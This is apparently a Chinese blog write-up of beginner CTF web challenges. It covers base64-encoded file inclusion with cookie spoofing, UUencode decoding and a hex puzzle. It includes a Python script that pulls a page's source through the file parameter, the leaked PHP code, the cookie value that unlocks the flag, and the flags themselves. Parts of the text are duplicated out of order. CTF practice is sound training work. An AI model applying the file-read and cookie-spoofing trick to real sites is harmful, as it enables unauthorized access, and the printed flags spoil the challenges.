CTF-web练习
2016-03-27 16:18
513 查看
“带队训练,,,,麻烦”
这里这里→ http://ctf.idf.cn/game/web/40/index.php
思路:
点击链接跳转到url:http://ctf.idf.cn/game/web/40/index.php?line=&file=ZmxhZy50eHQ ,发现参数file的值经过了base64编码,解码发现是“flag.txt”,猜测有文件包含漏洞,尝试更改file的值为“index.php”的base64编码值访问,网页空白,更改line的值后得到一行代码,多次尝试后发现line最大为18,写个程序抓取该文件内容,如下:
抓取到的index.php内容为
根据代码内容可知当cookie中包含’key=idf’时可以访问’flag.php’文件,将file的参数改为“flag.php”的编码值,拦截访问并添加cookie,即可在网页源码中看到
title:
MR,O)^KNYU>;*Q[*[P_?#Q+"AHZS6Q\G,LKNYNZ.LR;;2LK*[N^&CK+/VN/;,
MXK:\TJJ]RKZAQ-36K:&CH:,*M/.XQ;3PL+B^S<K'U>+1^;#)=V-T9GMU=75U
*=65N8V]D95]??0`` 应该为UUencode编码,,脑洞实在是太大了这都能YY
在线解码
看源码发现 4d4e461c4a4f481d4c471b1b191c4f48474646191c4e194f4e19194b4f1c4b4b
答案地址:
http://blog.csdn.net/ab748998806/article/details/46277819
自求多福,加油,,,
cookie欺骗
题目链接: http://ctf.idf.cn/index.php?g=game&m=article&a=index&id=40 知识点:base64解码, cookie欺骗这里这里→ http://ctf.idf.cn/game/web/40/index.php
思路:
点击链接跳转到url:http://ctf.idf.cn/game/web/40/index.php?line=&file=ZmxhZy50eHQ ,发现参数file的值经过了base64编码,解码发现是“flag.txt”,猜测有文件包含漏洞,尝试更改file的值为“index.php”的base64编码值访问,网页空白,更改line的值后得到一行代码,多次尝试后发现line最大为18,写个程序抓取该文件内容,如下:
# !/usr/bin/env python3 # __author__: renzongxian import requests file = open("index.php", "wb") for i in range(19): url = "http://ctf.idf.cn/game/web/40/index.php?line=" + str(i) + "&file=aW5kZXgucGhw" r =requests.get(url) content = r.content file.write(content) file.close()[/code]
抓取到的index.php内容为
<?php error_reporting(0); $file=base64_decode(isset($_GET["file"])?$_GET["file"]:""); $line=isset($_GET["line"])?intval($_GET["line"]):0; if($file=="") header("location:index.php?line=&file=ZmxhZy50eHQ"); $file_list = array( "0" =>"flag.txt", "1" =>"index.php", ); if(isset($_COOKIE["key"]) && $_COOKIE["key"]=="idf"){ $file_list[2]="flag.php"; } if(in_array($file, $file_list)){ $fa = file($file); echo $fa[$line]; } ?>[/code]
根据代码内容可知当cookie中包含’key=idf’时可以访问’flag.php’文件,将file的参数改为“flag.php”的编码值,拦截访问并添加cookie,即可在网页源码中看到
<?php $flag="wctf{idf_c00kie}";?>
古老的邮件编码
http://ctf.idf.cn/index.php?g=game&m=article&a=index&id=41title:
MR,O)^KNYU>;*Q[*[P_?#Q+"AHZS6Q\G,LKNYNZ.LR;;2LK*[N^&CK+/VN/;,
MXK:\TJJ]RKZAQ-36K:&CH:,*M/.XQ;3PL+B^S<K'U>+1^;#)=V-T9GMU=75U
*=65N8V]D95]??0`` 应该为UUencode编码,,脑洞实在是太大了这都能YY
在线解码
简单的js解密
http://ctf.idf.cn/index.php?g=game&m=article&a=index&id=43看源码发现 4d4e461c4a4f481d4c471b1b191c4f48474646191c4e194f4e19194b4f1c4b4b
答案地址:
http://blog.csdn.net/ab748998806/article/details/46277819
自求多福,加油,,,
相关文章推荐
- Speed as a Habit(让速度成为一种习惯)
- HTML5之启动篇-HTML5简介
- 当今世界十大经典算法
- 数据结构实验之链表九:双向链表
- js实现复制到粘贴板 ZeroClipboard
- 浅析Java中的final关键字
- 【bzoj2132】【圈地计划】【最小割】
- Android控件TextView的实现原理分析
- 第五周实践项目1————三角形雏形(5)
- nyoj 58 最少步数
- Python使用struct处理二进制
- 数据结构实验之链表七:单链表中重复元素的删除
- NDK开发环境终极讲解
- J2EE轻量级框架--3.27学习心得
- 最大子数组二
- 定语从句
- C语言(对内存的理解)
- android studio svn 配置
- Geekband004第四周笔记分享
- 为什么你的Mac内存越来越小,如何你是xcode的使用者,请看看吧